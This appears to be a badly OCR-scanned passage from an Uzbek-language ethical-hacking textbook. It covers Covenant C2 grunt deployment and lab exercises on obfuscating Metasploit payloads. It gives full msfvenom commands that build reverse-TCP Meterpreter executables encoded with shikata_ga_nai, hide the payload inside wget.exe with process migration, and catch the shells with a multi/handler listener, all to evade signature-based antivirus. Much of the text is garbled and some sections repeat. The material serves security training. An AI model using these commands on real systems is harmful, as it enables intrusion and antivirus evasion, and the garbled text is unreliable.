bosing va l?nug?z:::iuﬁ:;?i *-::hap_ pa’?“mﬂgﬁ Tinglovchi havo-

sh ekraniga 0*tish uchun Yaratish

Jga ulanad;. Grumt
(Task) deh ataladj

ar yubarilganiigi v

Creste Listengr

e TT .

I f EShimChﬂ
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shuning uchun w b atayn g P abu

: -ost mashinas .+ eosartirishimiz kerak.
ladi, chunki biz Iinglm.-chidén \::5:.2‘\ ddresses maFd{}Sm|k2rz]i]g’amanzmaﬁda" i
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ceyingl gadam A oshirns = rni kiritishim
Siening keying ‘shdir. Buni amalg? Biz kerakli ma’'lumotla
1|‘-ll:-:h1rmh usulini }'uratl‘_i yriantni tanlang. =1
. N 3 7 P = .*.1
I871ga o'ting va ikkili

- avdo bo‘ladi.
" akrani pay
Mumkin bo*lgan Binary Launcher ek

Binary Launcher

'ga o'rnatilgan
-a ner4(’ga o'ma g
-rnj ll}n]ﬂ-“g b aran‘lclﬂﬂml
-\ maydoni uchun fif:l.-':" :l ’ Shqﬂhﬁﬁf?ifm tizimlarda
Listener uinglr.'n..-cl'il}:‘r‘siyﬂsi pundan m ju mulurﬂé ‘; bo* Imasligi mumkin.
OtNetVersion (dotnet Ve a DotNet -2 * ‘tkazish foyda-
Sukut b icha goldiring. angilaridd ?5 imda razvedka 0 2016 ekanli-
OtNgt 4}{; b h|qqsliﬂi mumkin: Y& 0 g ti windows Server L Varatish
clL 4, 0 Imasis 1 e 1 AR mein.

-hdan © e T mu S
Oydali yuk turini [an|ﬂhl!d1 .,aqsﬂdh u,_cm‘l Vfsiz mnmshllmlz ichida yaratiladi,
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Fﬂra[iqh] lugn]achaﬁini h{;s_E'iE;I“ﬂY i‘ aﬁm'lﬂ ma}'dﬁnida h.'lli 1k1\.1[1k
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Binary Launcher

Hech qanday bildirish
muammolar yuzaga kels
uchun Listeners (tinglove

noma olmaysiz, amme fayl endi joylashtirilgan. f""-é!f'lz
8, fayl hagigatan ham Joylashtirilganligini Lukﬁh_‘rl.' 1
hilar) yorlig'iga 0"tishingiz, tinglovchingizni mnli}bh'“
yllar {jnylashtiri]gan fayllarni bosishingiz mumkin.
Tunt'ni bajarish

g Jaipir VA
Ao 1 ; uchup PowerShell oynasini oching
grunt’ni yuklah oling vg bajaring:

PSC -L-Zrem-mrgw} wr fitgp: A0
PS C:\Users Harge,

f.n’.-srlr.i.'-{‘u
= \grunt) eye '

Tt eve ., Bruntl eve

Buni amalgy ushirganingizda, brauze

. . . 3 it ‘1'_,dﬂ }aaﬂ':
fi F].“I'_l"' l’lﬂrli%i"i ko'rsatadigan p; !uirish:zr?mﬂg:ir; (;a?~g|i::liw."1!:3ﬁ11$.fL(ran.m‘nf
0 r;:,ruc m;;. r:l.]runtg :rnrh:gqg? u‘lipg Va yangi Grunt nomini bosing. s
n o }*fhr 2 hy fllllh"ild?fl ko rsatilganiqg k. b“?ihmn tizim hagida asosiy ma lu
;?:Iaim]lf;zéc};'ga Cladi. Biz bijgmy iy 10.0.0.20 1P mansit bitan WS20'C8
;crsiyga:iniﬂiI:n?*::lEh:‘n?TIdm? is. laydigan HTTp (imm_‘ S];uningdek. biz U;l
bizga grunti h-::-]alé va I-:?} I?I;d‘ﬂxlg] tekshirigh Yaqtini ko'ramiz, Ushbu ma’lum<
bithilishimiz i I:-n*:‘ RS hagidyg Umumy Ma’lumot beradi lekin bu. ndﬂltli.ﬁ:
ni bajarish uchun tagk ( ga” 58 emag, :ksplua[atsi adan k i;t i vazifalarimi?
Vazifalar) Yorlig'igy u‘lishimii k::drt;k o

Gr

sl

|66 >

L ¢ i xil o'rna-
ie*i Covenant’da ishga tushirilishi mum}:uFi [I";nulflr:zntfilramﬂﬂﬂmi
% yoclig ; L " LEmr di. Vazifani tanlash lls_hbu s «chi kontekstini oladi-
thgan madultarzd ko'rsein ish uchun biz joriy O i allagachon
e Asuslaml_ IF?I‘:UH::.!ushiramiz. Biz buni Grunt d:rgida osongina tekshi-
$s Whedsl “mdutz}l,[l-:im'Iumotni ushbu modul yor
ko‘rganmiz, ammo

rishimiz mumkin.

Grunt: 30b4884d71

— .
i ko‘rsatiladi. Biz hll}’mqu
- nasi ko s p i bizning
AIEER Qlfcchikish bilan Leia;ll, B;p py
b canligi bilan bog'liq.
T uﬁa El\ﬂn I__ : o .
balki signal oralig Igt? :-;umkfn (Grunt so‘rovni telfshn}
ﬁ s s A y ! ; 5 soniya).
Gruntimiz real vagt em “_ iyagacha "laqt-uhsbl aytarishi uchun yana 5 soniy
Tl i _1'U' i;:in 5 soniya va Jam‘}r;?ga o*rnatilgan.
ks qilishi ue  itichi 5 soni
];5:1}:1]': - qlilféli] ]',I auncherning kechikis
ingsababi, L

: hai imizda,

Vazifa (task)ni bﬂjﬂfg““':;ﬂ javo
o Bogacs : n
hi'lrilil}'ﬂlgamm ko‘ramz, a

t: 30b4884d71

Grun

gt kin va
vazifalarmi t‘f;_]m;?:a:::;.lzm [_rl-.;hbu
ko'rib ¢ M
. boblarda ko't dar uchun Me-
o inaizdek, : a XV” avdali }FLIL ar
~ Ko'rib turganmEIf ko' pini XVIv htirish uchun iﬂ}i an foydalanish mum-
12 ushbu texnikalarning valar soddalashbit® Covenant’da
= riyi
Obdagi golgan laboral0o

buning O T chun Kali*da quyidagi buy-
a mno 3 15
lasploit*dan foydalanadi, :':;;ﬂ
in, Covenant tugaganda
Mugnj bajaring:

!
L_g sudo covenant-k hf;; "
Covenant/default ""H.j‘p'm
Press ENTER to exit
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Foydali yuk obfuskatsiyasi

Axloqly xakerlar sifatida eng katta muammolardan biri bu standart himoya
vositalaridan bir gadam oldinda turishdir. Ko*pgina Jinoyatchilar ushbu himoya-
larni chetlab o‘tish uchun maxsus vositalardan foydalanadilar, le
bizda turli sinovlar uchun o'z dasturiy ta’minotimizni yaratishga
Ko*pgina antivirus (AV) sotuvchilari ommaviy foydalanish mum
sitalarni o'rganmogqda va ular uchun aniqlash vositalarini ishlab
ning uchun darhol go‘lga tushmasdan ushb
usullarida foydali yuklarimizni
bilish muhimdir,

kin ko*pincha

vaqtimiz yo'q.
kin bo*lgan vo-
chigmogqda, shu-
u vositalardan foydalanishning turli

0°zgartirish bo‘yicha maslahatlar va taysiyalarni

msfvenom vy uhiuskmsi} A
Allagachon asosty foydali yukni yaratish uchun msfvenomdan foydalanishni
Ko'rib chigildi, ammo msfvenom u bilan yaratilgan foydali yuklarni o*zgartirishga
yordam beradigan juda ko'p turli xil Xususiyatlarga C&a. msfvenom antivirus das-
turlari imzolari asosida aniglashni m"'e"s.ignulurcvhaﬁud detection)chetlab o*tishga
harakat qilish uchun turli xil texnikalardan g
lashda yordam beradigan kudlmfchﬂami
o*zgarishlami yaratish uchyp foydal;
mumkin bo*lgan iteratsiyalar S0n;

akNf giladi, Ag)
Yukni gq
Paramey

cohimel
nusxadan qo'shime

ham mq vjud,
Lahnraluriya ishi 7.3.

msfvenom

Yuklarpj
Ushbu [“bﬁralﬁri}ra ahi 1o arni g

uchun ishlatiligh Mumkin p

ko'rib chigilad; kod) uskatsiya s
A, ash va obfuskatsiya U8
kodlashdan I“Fdﬂianishga E,',:' 4 loydalj Yuknin

nomlangan Mashhy; kud]wu:]- OF Garatj)
1

narsa gilinmaygpy gop N foydalanita .
q b1 T Niladi,
anchidam 114 AWima Qilingg;, !

Yordamida fﬂ}'duli
fuskatsiya gjlish

stvenom bilan o

ashiris
a 0'lgan e .
B"lnthi m : L‘ ; luﬂl \;ﬂ

lar!

ydali yuklarnt ¥
R seich LG
£ ko*rinishini o zgartristt =

it il
bu yapon tilida taxmi?

' i i TL.I-
e ning by dluny asi o
ni[}uI:,fa’ugls.i}'au-r.ilEfrn 'kb" £an by'4; iluﬁ? ? astiahy Yaratilgan msfl.exe’da I'-;Ft:'l "lﬂI:

> unksjyag 1o 9W0Ma; oo o catrlar 10N ik
fayllarda yaghirin Mo bilan e iq va é{ﬁ fib chiqaylik. Bu satr ]Ldu“i i
"Pretem; kuzagigl, U funksiyadan kelaja Kin:
§ string tMp/my , Uchun foydalanishimiz mum
ll’)pu.mche.ﬁ.-:Tnkmi | 8rep _; fok
r1a:;-f,lw;.'TI‘"rJ.iu?:fr."“n'-.qu'E o
Upeu??:rmd‘.-'i:&en

Oydalangan holdy foydali yukni ‘*“dl
it

v ratilishl
Yla-qayta kodlash uchun ighlatilis

I
ni

.‘I]lln
i el

i : ; q nals
adi, Humng uchun “shikata_ga_""" _.ch

i L «in bo
lon sifatida ishlatilishi mumkin

s e 4o wrapl @XE i
uchun shablon sifatida wget

Biz jarayon va oqim tokenlarini ochish va imtiyozlarni sozlash uctt:un t;;:n.kj

—~ . - - .- ri - # * #® 4 - L & . 1

stya nomlarini ko‘ramiz. Keyinchalik ganday ko‘rinishini ko‘rish uchun ba'z
kodlashni go*shamiz:

— msfvenom -p windows meterpreter_reverse fop -f exe -¢ 186/ shikata ga nai
-i 3 -*pf.mmf-m Windows =0 ‘tmp m.-g,rI'.u.\'n.'L —

[=] No arch selected, selecting arch: x36 from the pa

Found | compatible encoders : : e s
Attempting to encode payload u-u.h 3 fh'mr_mim a”j'- «' J,:;' u: =m_, :
xS shikata ga nai succeeded with size J-'.‘E:ﬂ.}-‘flhjj: i e

X8 shikata 11.3;: nai succeeded with -'-'f':*' ‘Ifi-.;j; “n:m::I =)
a8 shikara ga nal sticceeded 1rr'{.|"i 5::1: f 73: f—-ﬁr:k il ¥

86 shikata L-_t\: nai chosen with final size 173261

Pavioad size: 175261 bytes

Final size of exe file: 230368 bytes

Saved as: ‘tmp msf2.exe

s 'a -i— biz bajarmogchi bo'l-

. imcha parametrlami -€ kodlovehi turi bilan xla ';;zkb;émngui]igini i
] “ha pe . 1 vuk uch mai 5

N :kfl'(; ‘s::;m:r:: :i ni bilan belgilaymiz. FD%?Flalfli ltl:f}shqa kodlovchidan foyda-

Elil-.lf: ;’ 1}: . ozilganligini ko‘rish mumkin. Age 1g*i sizga mavjud variantlami

ikkili aylga yoz . msfvenom -1 encoders buyrug- _d, A mpllomemiin

ialnmm]chl hn'lsﬂﬂgt':» 'm: har bir enkoder enkoder tipidagi t? rug'iqé;}'m ‘isl1ga

- L =3 P eTIng, o . ings buy

:\G mdtadi[:,'L l-lggruchun ikkilik fﬂl"'”amf }arata[rri':. ::ergf‘nydgli yukidagi matn

& :mlfm 1?1_ Ji'| h narsa L]ﬂ}"[ﬂri]m&}’dl. bu Meterp

tushirilganida, hec

yashiringanligini ko‘rsatadi.
o | grep -1 foken
L8 strings mp/msf2.exe | grep
—tkali kali)-{ tmp]

: ko'rib chigsak, ularning hajmi bir xil ekanligini ko*ramiz:
Ikkilik fayllarni ko'l S

85t i 250368 Sep 12 (1539 ‘rmp msfl.exe
D i

cali kali 2 , 5fd. exe
_le-“‘t,l'!ki:;::'r!it:;:‘ﬂHJ‘ﬁS Sep 13 06 04 /tmpmsf2
=W ke

i bir xil. Bu optimal emas, chunki

o o shablonlari bir Xi ' | .I i

Buning sababi, bu |kk1i|k]ar112::§di. it }fa“h]}aﬁh us?mandm} bldn. Shflh
eceral Lo SR ‘]gan va har xil bo*ladigan Windows ikkilik fay-

. 1 allagachon Windows ikkilik fh}“l_!ari mavjud, shuning
ini tanlashdir. Kali tizimida 8 T Gy goylidan foydalanamiz

- 4 ¥R ¢ M ;-
werse fop - exe -e x86/5hikat : =
| J;-.r-;f.-rwrurprcw:-_nLu v¢ Icp ..i'r
IVE! =3 WO
"”ﬁ enam -f
|

- F‘ 'Ef i \
N LAY oxe

I Il‘?”‘l;l'.’"','l- o -'rl"" X

2 = ﬂ-“-”ﬁ" m
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Foydali yuk obfuskatsiyasi
Axlogiy xakerlar sifatida eng katta muammolardan biri
vositalaridan bir gadam oldinda turi

larni chetlab o'tish uchun maxsu
bizda turli sinovlar uchun o'z d

bu standart himoya
shdir. Ko*pgina jinoyatchilar ushbu himoya-
$ Vositalardan foydalanadilar, Jekin ko*pincha
asturiy ta'minotimizni yaratishga vaqtimiz yo'q.
Ko'pgina antivirus (AV) sotuvchilari ommaviy foydalanish mumkin bo‘lgan vo-
sitalarni o‘rganmogqda va ular uchun aniqlash vositalarin; ishlab chigmoqda, shu-
ning uchun darhol qo‘lga tushmasdan ushby vositalardan foydalanishning turli

usullarida foydali yuklarimizni 0°zgartirish bo‘yicha maslahatlar va tavsiyalarni
bilish muhimdir.

. msfvenom vy obfuskatsiya
Allagachon asosiy foydali yukni yaratish uchun msfvenom’ dan foydalanishni

ko*rib chiqildi, ammo msfvenom u bilap Yaratilgan foydali yuklamni o*zgartirishga
yordam beradigan juda ko'p

;urla: Im'?i{'ﬂ:n alfumda aniglashnj (Mf'signature-hascd detection)chetlab o'tishga
arakat gilish uchun turlj xjj texnikalardan fo dalan d: ikt Yo
lashda yordam beradigan k Yy an holda foydali yukni ke

odlovehilamni taklif aitad: : tdat
St Al : qiladi. Asl nusxadan qo‘shimcha
0 zgar!shlal:nl Fa@tlsh I:lf:hlm foydali yukni 4ayta-qayta kodlash uchun i shlatilishi
mumkin bo*lgan Heratsiyalar son; parametri ham mavjud,

Laboratoriya ish; 7.3: msfvenom Yordamida foydali

?Juklarni uhf‘uskatsi}'a qilish
| uchun msfvenom

bo‘lgan turlj xj) kodlash va obfuskatsiya usullarini
solda fﬂ}’d‘:ﬂl Yukning ko*rinishin 0*zgartirish uchun
Or qaratilad;. Buning uchun “shikata _ga_nai,” deb

d_a.n ﬁ:nydalani!adi, bu Yapon tilida taxminan “hech
qilinadi,

nomlangan mashhyr kodlovchi
narsa gilinmaydi™ deh tarjima
[el-‘n[;:;n];tld?s?;] *T].:,I -*I]ahoram,ri?rasidan dastlah yaratilgan msf] exe'da Nickeinié-
nipul}'atsi}'asqi Furllks? g?nh!:‘a “ qal‘ﬂlrlami ko'rib chiqaylik. By satrlar token ma-
aylarda yashirn Meterpretapy 12, 9. "* 0% DU funksiyadin elajaideon sk

eterpretem; kuzatish uchunp Fnydalanishimiz mumkin:
Ls Strings /twp,

L p."ul LT 3

OpenProcessToken promet | 8P i token
A aj;’m-r?"ml:en.ﬂrmh:geg
OpenThreadTokey

D

A

. . ® & k-
_— : - ini ochish va imtiyozlamni sozlash uchun fun .
Biz jarayon va ogim tokenlarini 10'2 Ty S %
siya [::,':ﬁﬂr?“i ko‘ramiz. Keyinchalik qanday ko‘rinishini ko'rish uchun ba’zi
kodlashni go*shamiz:

1 P - - ¥ .!-'h!kﬂl'ﬂ gﬂ g |
ﬂ T "W I:.”-!rf meterpreler reverse “'.P fi."'. e -EX S& E
< IEVERO 7 Wy ry LY 3 4

-i 3 <=platform Windows -o mp/msf2.exe i
[-] No arch selected, selecting arcl: x86 from the pa

- ihle encoders ; ,
Found | comparible encoc e ; S6/shikata ea nai
Attempting to encode pavioad with 3 iterations of x86/5/, _ga_

ith size 175203 titeration=()
BT ."P‘I”Ikﬂf” a2a ”{”: 5”{'{';?1,"{&'[’! “'"Ih Xz f?- 203 fite

ith si * fiteration=1)
x86 shikata_ga _nai succeeded '.r{m size i ;.: :’;} : :: :’::; :_3" .
x86 shikata ga nai sweeeeded u':{h '“:.L-,.. ”-J A
x86 shikata ga nai chosen with final size 175
Povload size: 175261 bvtes
H’;uh’ size of exve file: 250368 byies
Saved as: amp msf2.exe

i turi bilan va -i- biz bajarmoqchi bo‘l-
i -¢ kodlovchi turi bilan va -i e
‘shimcha parametrlarni ei-.ﬂi i vuk kodlanganligini va
gan Siasll;:;:;l'::i"' bilan belgiayit an;fxaljaﬁ; :z:hn;:rllfnd!mrchigdan %D}’da-
Eivarey e . ieini ko‘rish mumkin. Canp 3 . .
— Ia}flga‘{??-llf: Ilrl;gslfr:e::nm -| encoders buyrug'i 'ﬁgia fﬁ::g;':ﬂ;;‘;"‘:;:’?;
En'm~ﬂchh‘l 1-"F.'L?'tiIS:‘:::-EJE:F:H:‘rime.. har bir enkoder enkoder ntlirlin g:r. l]::‘uyrug‘ iqayta ishga
B bl b, 488 achi (I = iy e m—— gf'u:v’dali yukidagi matn
lur:h]i?iigi.nida‘ hech narsa qaytarilmaydi, bu Meterp
yashiringanligini ko‘rsatadi.
L$ serings tmp msf2.exe | grep =i token
r——tkali kali)-{'tmp]

' ing hajmi bir xil ekanligini ko*ramiz:
Flvn, T P L hlqﬂk- ularning
Ikkilik fayllarni ko'rib ¢

¥ Iy ; .exe
:;:{:jx ";”i;::: g;ﬁ 250368 Sep 12 ;in.:ﬂ ,:,T:f:::_:gfeu
~Pibeee | kali kali 250368 Sep 13 06: A
& shablonlari bir xil. Bu optimal emas, s;l1unk1
i Vaziyatni yaxshilash usullaridan biri shab-
Iafi - va Ilmr xil bo‘ladigan Windows ikkilik fay-
E Iﬁil; windows ikkilik fayllari mavjud, shuning
:f;ilik faylidan foydalanamiz:

Buning sababi, bu ikkilikla
0lcham yaxshi ko*rsatkichga ay
lon sifatida ishlatilishi mumkin b
lini tanlashdir, Kali tizimida alla-:!
uchun shablon sifatida wget.exe ! 86/shi nai
L_g sfvenom -p n1*.e‘:nimm’mererp!f!errmwsu_mj of exe -¢ x86/shikata_ga_

mxfrer 3

1 0 .-"I'MF"W‘E'G'EIE |

-1 3 —platform Windows
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W 1P
-X ‘usr/share/windows-binaries/wget.exe
[~/ No arch selected, selecting arch: x86 from the pavipad
Found | compatible encoders )
<snipped=>
x86/shikata_ga_nai chosen with final size 175261
Error: No .text section found in the templare

Xatolik, msfvenom foydali yukni ikkilik faylni
G : aylning .text bo‘limiga kiritish-
ga harakat qilgani sababli yuzaga keladi va agar bu bo'lim manLIdEi:ﬂ‘lmaﬂa

bizda muammo bor. Keling. w IR RTT AP *
chiiaylik: g, Weetexe ikkilik faylida mavjud bo‘limlarni ko'rib

g objdump -l fr.':rr—‘.rham--l-.-;'ndm-.~s~biuarie.s'
-J'.r.'.'r".i'.!'l'(.'m'-"lI.'J"N'dml'.!i‘—hfﬂm‘iﬂr’h'gr.’l'.t".\:c: :
Sections: .
ldx Name Size VMA LMA File off Algn
0 UPX0O 00070000 00401000 0040 faa
OO0
CONTENTS, ALLOC, CODE S
1 UPXT 00046000 0047 1000 004710
7340 LR
E‘ f;; :E,-‘lv TS, ALLOC, LOAD, C ODE, DATA i
2 UPX2 00000200 0045c000 004be0p
by {7 (N4 b4
CONTENTS, ALLOC. . OAD, DATH ThEN

‘Wgel.exe
Jile formar pei-i386

Ikkilik UPX bilan qadoqlangan, shunin
roq msfvenom uchun exe-faqat turj
go‘shish uchun kodni almashtiradi
narsa ishlaydi: .

g uchun unda .text sarlavhasi yo'q. Bi-

text bo.ilmiga ehtiyoj sezmasdan msfvenom
Biz uni yana ishga

tushirganimizda hamma

3 msfren i mefer, e
L$ . om -p windows/mere piret
. ; Er_reverse fep -
~i 3 —platform Windows -0 /tmp/msf3. exe | s fﬂ'?_""'{" € x86/shikara ga_nai |
=¥ ‘usrishare/windows-binari eswgel exe
-f No are | :
{1 Vo a h selected, selecting arch: x86 from g
k% i e pevlogd
Pavload size: 17526] bytes

Final size of exe-onfy Sile: 308
[ 3 7 f
Saved as: mpimsf3 eve e

i i7L } E Yomon ta'sirlaridan bir: .
ni bajarmaydi, by shubhalamni keltirip, ;hgn b'-n S_h““dak't weet oddiy funksiyalar-

nallikni saqlash uchyp -k pg mumkin. Tkkilik faylda funksio-

sy = . m I-‘d i 1
rog'i bilan yangj bipar yarataylj f: 1dan Fn}'dalanlshlrmz mumkin. Keling, -k bay-

L__ N
S msfvenom -p wmdnw.rfmmrprﬂer rey

erse iep - "
-0 ftmp/msfi exe | i it x86/shikata_ga_nai |
iharies/wget exe

=i 3 —platform Windows
-x :’mrthurex‘wmdaws—b

[-] No arch selected, selecting arch: x86 from the pavload
<snipped>
Saved as; mp msf4.exe

Bu exe turi bilan ishladi, chunki u kodni joylashtirish ?Fh‘.m. Faﬂg.i hr.}‘!im i
lavhasini taqdim etadi. Keling, objdump buyrug'ining natijasini ko'rib chigaylik:

s objdump -h tmp msfH.exe

tnip msfd.exe: file format pei-i386

Sections,

Iy Name Size VMA LMA File off Algn

0 UPX0 00070000 00401000 00401000 00000400 2%%2
CONTENTS, ALLOC, LOAD, CODE

! L?’E ng;u::;;:u 0047 1000 00471000 00000400 23
CONTENTS, ALLOC, LOAD, CODE, DATA -
2 UPX2 00000200 0045000 004bc000 00046400 2%*2

CONTENTS, ALLOC, LOAD, DATA
3 text 0002add4 004bd000 004bd000 0004h600 2%*2

CONTENTS, ALLOC. LOAD. CODE

lar bor, keling, ularni bajariladigan gilib

e i -0 ir nechta binar S ey . .
Xo'sh, endi bizda b h uchun msfeonsole'ni ishga tushiramiz:

qo*yamiz va qobiglarimizni ushlab turis

L climad 755 mpEexe
§ msfeonsole -

msf6 = use multi handler

1*] Using configured pavioad »
msf6 exploit(multi handler) = sef P”.l'ff’*l"‘-’ by
paviogad == windows -niarur_nmn-r._ﬂ""-";_‘;n‘:] i
msf6 exploittmulti handler) > $¢l LHOST 1104
LHOST = 10).0.040
msf6 exploittmulti handle
ExitonSession => false =
msft exploitfmulti handler) = f-’-‘fP""f’ ;”

[*] Explair running as h“"ks'm”"mfﬁj ) ;r-: created.
[*] Exploir completed. but no .rc'.t.-.'umt;‘;"ﬂ J0-4944
[*] Started reverse TCP handler o8 10.0..

{f reverse_fcp

eneric/she . 1
< \windows/meterpreter_reverse_lcp

p) = set E'rfrrm.ﬂ'c'.u':':m_ﬁn‘a'cﬂ

hdik. Birinchisi, ExitOnSession giyma-

i 3 n"s 5 ¥ 7
i jibatni g katlar birinchi gobiqni olgandan keyin

Jamoamizga ikkita yang

tinj ; <A atda, :nr.atli-h{il'f‘1 ; : Rl o s
H“:gli:lsedga 0 mm;s;r U};mmg holatlarimizda, biz har bir ikkilik faylni sinab
shni to'xtatishdir.

: : chimiz. Biz o'zgartirmoqchi bo'l-

k(}‘r‘ - ﬂblqlﬂrﬂl ushlamoq ‘ne darhol sessi

gan liirll-:'lmlftm i ]f::;::lltilﬁ ~ bu gobiq 412 uEﬂgﬁd%?n?idﬁas;{ﬂil‘ga::;ig;

O'tish, Byt ohun biz exploit buyrvg i Bilad VR 7 Endi qobiglar

zirass:rﬂ%lg ughlfnhm: ushirishni xohlayotganimizni BECIFIIE EREHAO
Hatida fonda 15N
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olinganidan so*ng, yangi qobiq ulanishi sodir bo*lganligi haqidagi xabar kn‘rriljﬂ-
di, lekin darhol u bilan aloga gilish shart emas. Keling, Windows kompyuterimiz-
ga qaytaylik va ba’zi yangi qobiqlarimizni ishga tushiramiz:

PS C:1= od 10.0.0.40\ghh

PSS Microsaft. PowerShell Core\FileSystem: -\ 10,0, 0.40'ghh> \msf2.exe
PS Microsofi. PowerShell Core\FileSystem::'\10.0.0.40 ghh= . \msf3 exe

Kali kompyuterida ikkita qobiqning ulanishini ko‘rish mumkin, lekin Win-
dows kompyuterida birinchi qobiq bizga darhol boshqaruvni beradi, ikkinchisi esa
muzlaydi. Msf3 ikkilik fayli bizning wget ikkilik faylimiz, bizning qobig‘imizni
ishga tushirish uchun kod kiritilgan exe, msf2 ikkilik esa kodlangan asosiy hisob-

lanadi. Keling, sessiyamizga MSF 3 ikkilik faylidan ulanamiz va Kali kompyute-
ridan chigamiz:

[*] Meterpreter session 2 apened (10.1). 0.40: 4444
09-13 06:44:52 0000

msf6 exploittmulti‘handler) > sessions - i2
[*] Starting interaction with 2.,
meterpreter > exit

(*] Shutting down Meterpreter.,

[*] 10.0.0.20 - Meterpreter session 2

=> 10.0.0.20:65501) ar 2021 -

closed. Reason: Lser exiy

“Sessions™ buyrug‘idan foydalanib, 2
ni ko'rdik, u yerda exit buyrug‘ini kiritd;
qaytarildi.Windows kompyuterimizda
rog‘i bilan wget.exe’dan fo

harakat gilaylik.

-sessiya ochildi va meterpreter taklifi-
k.Windows qutisiga qaytib, boshqaruv
funksionallikni saglab qolish uchun -k bay-
}rdalanadigan msf4.exe ikkilik faylini ishga tushirishga

PS0.0.040'ghh> \ntsfd. exe
msfd: missing URL.

Usage: msfd [OPTION]... [URL]...
Try ‘msf4 —-help’ for more aptions.
PE0.0.040'ghhy> | msfd.exe hitp:/scanme.
~=06:50:06— http://scanme. nmap. org/

== index.lum!’

Resolving Scanme.nmap.org... 45.33.32.156

Connecting to scanme.nmap.org(45.33.32. 156 :80... connected
HTTP request sent, awaiting response... 200 Ok -

Length: unspecified [text/hmi]

J'!Hiap_urg

_ Ikkilik faylni birinchi marta ishga tushirganimizda, UR]. manzilini taqdim
enshn:mz rkcrakligirﬁ ko'rsatadigan xato Xabari paydo bo‘ladi
ﬁfn]fsiyam, lekin biz qobigni qaytarib olmaymiz, chunki binar I.:li
dimiz (shellcode)ga yetib bormadi. URL bilan qayta urinib ko*

Bu odatiy wget
zning qobiq ko-
rganimizda, wget

1;1‘1.:* h }f‘"l. i 1 }' .I."Ii ]Ekil’l }"CIZEI 0]-

n imi ].ﬂh GIIShEB urna Ulgﬂl"il 5 ; it

1 biz 'liIIL' SN‘.H LI].llShIITIlZEﬂ : : . : s

i|1-a"vl'1til[.'.i1":?:{{‘l'l'ﬂ'l‘.l'li? Metasplnh k(lns{}lldﬂ b'IZ 5“”"._2.3'0 ,lElIESh narsan kD “5h mz

- FERS 4 021-09-13
k) I y;qﬁj al ZUsl= -

ion 3 {J'FE'!MJ (10.0.0.30:4 > 10.0.0.20 4
|||'1l‘||' .1..!'1.1'1"!?"1'&'!‘ Yo% -

06:50:06 + 0000 — son: Died
/%] 10.0.0.20 - Meterpreter session 3 closed. Rea

i binar 0'z ishini tugatgandan w?ﬁ“ u_biZﬂi:;E
o ifani talab gilishimiz mum-
O |dirdi. Biz hagigatan ham Latlet sa.lnf'at:]; ;nkogi}fatlar il
E[i:‘:hu‘.!ln*.w:m ham o [ala:t:- etadi, ammo bizda qo shqu::ia ot sl Rl o
I;:I: va hurn p T‘:-?;nlla['du “.lni a-list-ﬂptiﬂq% }"ﬂl'dﬂi:-]m; migmtsiyﬁﬂi qD'Shﬂdigan
Ogaytinian v \kin) kod boshida yangi jaray -rimimizjarﬂjr’ﬂﬂﬂing S sidin
uchun ko*rsatish Rt mavjud bo'lib, bizning © i bmilirdan bidaTye:
E"ﬂpcndMigrnte ‘]Eﬁt::ﬁ:ga - mkon beradi. Keling. ushbu v
‘0°ra ko*proq umr ko'rs

ratamiz va uni sinab ko'ramiZ.

Sessiya darhol tugadi, chunk

e 1cpf exe - x86/shikata_ga_nai|
sfif Her reverse_ .
L8 msfvenom -p windows/me Mﬂ; :1; ' -fre
i 3 ~platform Windows -0 PSS 0 0 o endMigrate=Ir
X /Hsr ':h.m' 2 windows-binaries e I.L'ﬁ from the .1';""'-"1“"'7"(HII
.I'rl / "'n ‘ -“ Jeried, selecting arch: x50,
=§ N gren yerecied, &
=snipped= =
Saved as: ‘tmp msf3.exe
tkali kali)-[1mp] W0
S chmod 755 /tmp msf3.€x¢ :<hea tushirganimizda msf4.exe
b, - a o "
- nizda msfd.exe s gIuihda biz boshqacha narsani
y Windows knmPFutL-r“hin;iz kerak, ammo Metasp
tan bir xil natijani ko'rs
ko'ramiz: on 4 opened
s gEuEion
sterpreter SR <a.31 +0000
: amultihandier) > [*] METTo 06 13 06:57:31
msf6 exploitcmulti ;” 0.0 2()-49250) at <H=
(10.0.0.40: 4444 -= TO.00S700 i
op) > SESSIO
msft exploit(mulri/handle ,'rj! }J
[*] Starting interaction Wit ==
meterpreter > getpid
Current pid: 3704
H:v!wprﬂm- > ps
Process List

i e o User
PID pPPID Name Arch Session

i

Path

_—— R v\ Windows!

i arget € ; 1.exe
Py i Hosuexex64 2 OFCC L ShellEsperiencelHos
3532 836 Shell Experience’ , i cwsnl ”",;Eﬁnw;uaws*
SvstemApps\Shell Experience GHHVarge! &

3704 3444 rundii32.exe x80 2
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4

SvsWOWGS rundll32.exe

Qobiq kodi (shellcode) bajariladigan jarayon msfS.exe emas, balki rundll32.
exe. Binary yangi jarayon yaratdi va unga kod Kiritdi va ms

i/3.exe’dan chigganiga
qaramay, seansni faol goldirdi. Ushby usullardan foydalanib, imzoga asoslangan

antiviruslar tomonidan aniglanmaslik uchun Metasploit yuklarini boshqa ikkilik
fayllarda qo*shimcha noaniqlik bilan Yyashirish mumkin,
Birog bizda fagat msfvenom uchun shablonlar mavjud emas. Keling, ba'zi
mugqobil strategiyalarni ko'rib chiqaylik.
C# Launchers yaratish
Metasploit va boshqa buyrug va boshqaruv (C2) v
lagichlar ko*pincha antivirus, tahdidlarnj aniglash va javob berish (EDR) tizimla-
ri va boshqa xavfsizlik vositalari tomonidan aniglanadi. Bunga qarshi kurashish
uchun ko*plab axlogiy xakerlar va jinoyatchilar qobiq kodini yashirish uchun qo-
biq kodini yuklab oluvchilardan foydalanadilar, Ushpy yuklash moslamalari gobiq
kodini ishga tushirish uchun turlj xj] usullardan foydalanish; mumkin, jumladan,
0'zini boshqa jarayonlarga kiritish, shifrlash va boshqa turli usyljar yoki ularning

kombinatsiyalaridan osongina aniglanmasdan xavisizlik tizimlaridan yetarlicha
farq giladi.

ositalaridagi standart yuk-

lishi mumkin va qobiq kodinji funksiyal
lagdim etadi. Kengaytirish va (4 vab
yalarini kiritish imkoniyati asosiy yuk]
ri darajalaridan foydalanishni osonla
bajarish uchun tizim DLL'lari bilan

oshqa tillarda
ovchi ishi uch
shtiradi, sh
C+ funksi

Yozilgan tashqi DLL funksi-
un C# funksiyalarining yuqo-
u bilan birga muayyan vazifalarni
yalariga o*tjsh mumkin.

Laboratoriya ishi 7.4 C# Launcherlarnj kompilyatsiya

qilish va sinovdap o tkazi
Shellcude‘ni fshga lUShirish & azish

qo‘yishdir. Thread(aloga) -
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i ini ish uchun
s £ ALl ter teskari TCP paketini yarans.
build_csharp.sh skripti 64bitli hf;z:ersr;]:}:} Rt cunte ot v oo

